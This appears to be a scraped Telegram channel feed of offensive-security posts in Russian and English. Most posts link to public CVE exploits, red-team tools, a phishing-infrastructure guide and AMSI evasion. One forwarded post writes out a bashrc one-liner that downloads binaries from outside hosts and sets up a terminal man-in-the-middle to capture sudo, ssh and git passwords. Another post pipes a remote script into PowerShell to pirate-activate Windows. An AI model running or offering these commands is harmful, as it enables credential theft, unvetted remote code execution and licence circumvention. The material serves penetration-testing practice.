Ralf Hacker Channel 1505

TL;DR (really?): Members of Distributed COM Users or Performance Log Users Groups can trigger from remote and relay the authentication of users connected on the target server, including Domain Cont…

🔥26👍1

20.6K viewsRalf Hacker, 16:49

Ralf Hacker Channel

Forwarded from Offensive Twitter

😈 [ The Hacker's Choice (@[email protected]) @hackerschoice ]

A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty MitM). No root required 👀

command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

🔗 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#10-session-sniffing-and-hijaking

🐥 [ tweet ]

прикольно, напомнило https://ppn.snovvcrash.rocks/pentest/infrastructure/post-exploitation#vim-keylogger

👍15🔥5😁3🤔2

17.5K viewsRalf Hacker, 06:47

Ralf Hacker Channel

intro.gif

860 KB

Почему-то только сегодня обратил внимание на эту удобную штуку (ох, два года уже репозиторию)😅

https://github.com/aniqfakhrul/powerview.py

#ad #pentest #enum

👍37🔥8😁3😱2

18.7K viewsRalf Hacker, 17:24

Ralf Hacker Channel

CVE-2024-22120: Time Based SQL Injection in Zabbix Server Audit Log

Affected and fixed version/s:
* 6.0.0 - 6.0.27 / 6.0.28rc1
* 6.4.0 - 6.4.12 / 6.4.13rc1
* 7.0.0alpha1 - 7.0.0beta1 / 7.0.0beta2

Allows to dump any values from database. As an example of exploit above allows privilege escalation from user to admin. In some cases, SQL injection leads to RCE.

PoC: https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py

#exploit #pentest

🔥22👍5🤯3

19.8K viewsRalf Hacker, 06:44

Ralf Hacker Channel

CVE-2024-21683: Confluence Auth RCE

https://github.com/W01fh4cker/CVE-2024-21683-RCE

#exploit #git #web

GitHub

GitHub - W01fh4cker/CVE-2024-21683-RCE: CVE-2024-21683 Confluence Post Auth RCE

CVE-2024-21683 Confluence Post Auth RCE. Contribute to W01fh4cker/CVE-2024-21683-RCE development by creating an account on GitHub.

👍9🔥4

17K viewsRalf Hacker, 04:59

Накидайте поздравлений @Acrono, админу APT)

🔥125🥰13🎉13👍3

18.6K viewsRalf Hacker, 18:12

Ralf Hacker Channel

Forwarded from Offensive Twitter

Мое новое комбо для гига быстрого развертывания виндовируалок в лабе 👇🏻

Образы:
🔗 https://uupdump.net

Таблэтка:
🔗 https://github.com/massgravel/Microsoft-Activation-Scripts

irm https://get.activated.win | iex

Evaluation теперь идет лесом.

👍35🔥9😱2

17.4K viewsRalf Hacker, 09:31

Ralf Hacker Channel

CVE-2024-24919: Check Point arbitrary file read (as root)

Blog: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/

#cve #pentest #redteam

watchTowr Labs

Check Point - Wrong Check Point (CVE-2024-24919)

Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze.

Check Point, for those unaware, is the…

🔥22👍7

18.3K viewsRalf Hacker, 07:47

Ralf Hacker Channel

Как развернуть свою лабу с SCCM: script, post. Список мисконфигов в конце поста)

#lab #ad #sccm

🔥29👍5🥰1🙏1

13.2K viewsRalf Hacker, 22:22

Ralf Hacker Channel

CVE-2024-4577: PHP CGI Argument Injection (RCE)

on Windows
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

PoC: https://github.com/watchtowrlabs/CVE-2024-4577

Blog: blog1 & blog2

#exploit #rce

GitHub

GitHub - watchtowrlabs/CVE-2024-4577: PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC

PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC - watchtowrlabs/CVE-2024-4577

🔥9👍2

17.1K viewsRalf Hacker, 09:59

Ralf Hacker Channel

Forwarded from SHADOW:Group

🔎

Собираем поддомены и IP в RSECloud

Недавно нашел новый ресурс, под названием RSECloud, который позволяет собирать поддомены и IP'шники организации по домену или имени организации. Работает как в вебе, так и через API.

Чтобы удобно прикрутить его к своей автоматизации накидал небольшой скрипт на GO, который предполагает 3 варианта использования:

Сбор поддоменов:

rsescan -d example.com -key YOUR_API_KEY

Сбор IP'шников по домену:

rsescan -d example.com -cn -key YOUR_API_KEY

Сбор IP'шников по имени организации:

rsescan -so "Organization Name" -key YOUR_API_KEY

Для получения API ключа нужно просто пройти регистрацию по почте. Для всех желающих залил скрипт на гитхаб.

Ссылка на RSECloud
Ссылка на скрипт

#web #recon

Please open Telegram to view this post

VIEW IN TELEGRAM

👍39🔥3

12.7K viewsRalf Hacker, 10:04

Ralf Hacker Channel

Для опроса Defender'а Windows, например об исключениях (и ещё много о чем) на локальной или удалённой системе. Ещё и не нужно высоких привилегий.

https://github.com/0xsp-SRD/MDE_Enum

#git #soft #pentest #redteam

GitHub

GitHub - 0xsp-SRD/MDE_Enum: comprehensive .NET tool designed to extract and display detailed information about Windows Defender…

comprehensive .NET tool designed to extract and display detailed information about Windows Defender exclusions and Attack Surface Reduction (ASR) rules without Admin privileges - 0xsp-SRD/MDE_Enum

🔥18

14.6K viewsRalf Hacker, 14:19

Ralf Hacker Channel

Хорошая заметка по фишингу: Phishing/Red Team Engagement Infra

https://an0nud4y.notion.site/Phishing-Red-Team-Engagement-Infra-1c6fba8f2d854a14ba76320284161c5e

P.S. На гите есть копия

#initial #phishing #guide

🔥11👍7

14.4K viewsRalf Hacker, 07:24

Ralf Hacker Channel

Forwarded from APT

🖥 Veeam Enterprise Manager Authentication Bypass

May 21st, Veeam published an advisory stating that all the versions BEFORE Veeam Backup Enterprise Manager 12.1.2.172 is affected by an authentication bypass allowing an unauthenticated attacker to bypass the authentication and log in to the Veeam Backup Enterprise Manager web interface as any user. , the CVSS for this vulnerability is 9.8.

🔗 Source:
https://summoning.team/blog/veeam-enterprise-manager-cve-2024-29849-auth-bypass/

🔗 PoC:
https://github.com/sinsinology/CVE-2024-29849

#veeam #authentication #bypass #cve

Please open Telegram to view this post

VIEW IN TELEGRAM

👍11😱4

13.8K viewsRalf Hacker, 09:40

Ralf Hacker Channel

Forwarded from k8s (in)security (r0binak)

Если во время пентеста вы оказались на Node и вам потребовалось собрать данные с etcd, а набирать в консоле kubectl и etcdctl не хочется, то вот этот скрипт может вам помочь.

👍13🔥7😱1

15.4K viewsRalf Hacker, 07:23

Ralf Hacker Channel

CVE-2024-26229: Windows LPE

PATCHED: Apr 9, 2024

https://github.com/RalfHacker/CVE-2024-26229-exploit

P.S. Чуть поправил оригинальный эксплоит

#git #exploit #lpe #pentest #redteam

🔥30👍10

22.3K viewsRalf Hacker, 08:21

Ralf Hacker Channel

Lateral Movement with the .NET Profiler

Blog: https://posts.specterops.io/lateral-movement-with-the-net-profiler-8772c86f9523

Source: https://github.com/MayerDaniel/profiler-lateral-movement

#ad #lateral #redteam

Medium

Lateral Movement with the .NET Profiler

The accompanying code for this blogpost can be found HERE.

👍8🔥4

21.8K viewsRalf Hacker, 22:51

Ralf Hacker Channel

Scriptblock Smuggling... Или как прятать скрипт Powershell, чтобы он не мелькал в логах, и обходить AMSI без исправлений в памяти (патчей)

https://bc-security.org/scriptblock-smuggling/

#bypass #redteam #amsi #evasion

🔥46👍4🤔2😁1

25.5K viewsRalf Hacker, 21:45

Ralf Hacker Channel

CVE-2024-30088: Windows LPE

PATCHED: June 11, 2024

https://github.com/tykawaii98/CVE-2024-30088

P.S. Протестил на Win11, работает

P.P.S. @Acrono: Протестил на Win10 22H2 (19045) и на Win Server 2019, полет нормальный!

#git #exploit #lpe #pentest #redteam

🔥44👍15

32.9K viewsRalf Hacker, edited 08:34

Ralf Hacker Channel

Forwarded from APT

🖼️ RegreSSHion — OpenSSH Unauthenticated RCE

The Qualys Threat Research Unit has discovered a Remote Unauthenticated Code Execution vulnerability in OpenSSH’s server (sshd) in glibc-based Linux systems. CVE assigned to this vulnerability is CVE-2024-6387.

The vulnerability, which is a signal handler race condition in OpenSSH’s server (sshd), allows unauthenticated remote code execution (RCE) as root on glibc-based Linux systems.

🔗 Research:
https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server

🔗 PoC:
https://github.com/7etsuo/cve-2024-6387-poc

#openssh #glibc #rce #cve

Please open Telegram to view this post

VIEW IN TELEGRAM

👍22🔥13

16.2K viewsRalf Hacker, 11:53

2025/07/08 21:50:04
Back to Top

HTML Embed Code:

<iframe width="100%" src="https://www.tgoop.com/buyppe/web?embed=1" title="Telegram Web" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>